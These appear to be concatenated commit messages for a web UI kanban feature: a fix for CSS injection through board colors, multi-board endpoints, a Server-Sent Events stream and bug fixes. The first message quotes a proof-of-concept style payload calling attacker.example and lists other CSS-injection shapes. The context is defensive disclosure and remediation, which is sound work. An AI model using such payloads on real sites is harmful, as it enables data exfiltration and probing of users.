`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
Four follow-up issues found in the combined-stack live verification:
(1) handle_kanban_get had no exception handler; ImportError (webui-only deploy
without hermes_cli), ValueError, LookupError, RuntimeError would bubble
as 500. Wrapped in same exception cascade as POST/PATCH/DELETE.
(2) ImportError on any verb now returns 503 "kanban unavailable: <reason>"
instead of 500. Frontend's existing try/catch surfaces a clean toast.
(3) The 'Read-only view' banner (legacy of read-only PR #1645) was always
visible regardless of actual board state. Default-hidden in HTML;
loadKanban() toggles based on _kanbanBoard.read_only.
(4) .btn / .btn.secondary class names were referenced in 4 places (Bulk
action / Nudge dispatcher / New task / Back to board) but no matching
CSS shipped — buttons rendered as browser-default beveled controls
that clashed with the dark theme. Added scoped CSS rules under the
kanban-* parent containers.
+4 behavioral + static UI tests covering the contracts.
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
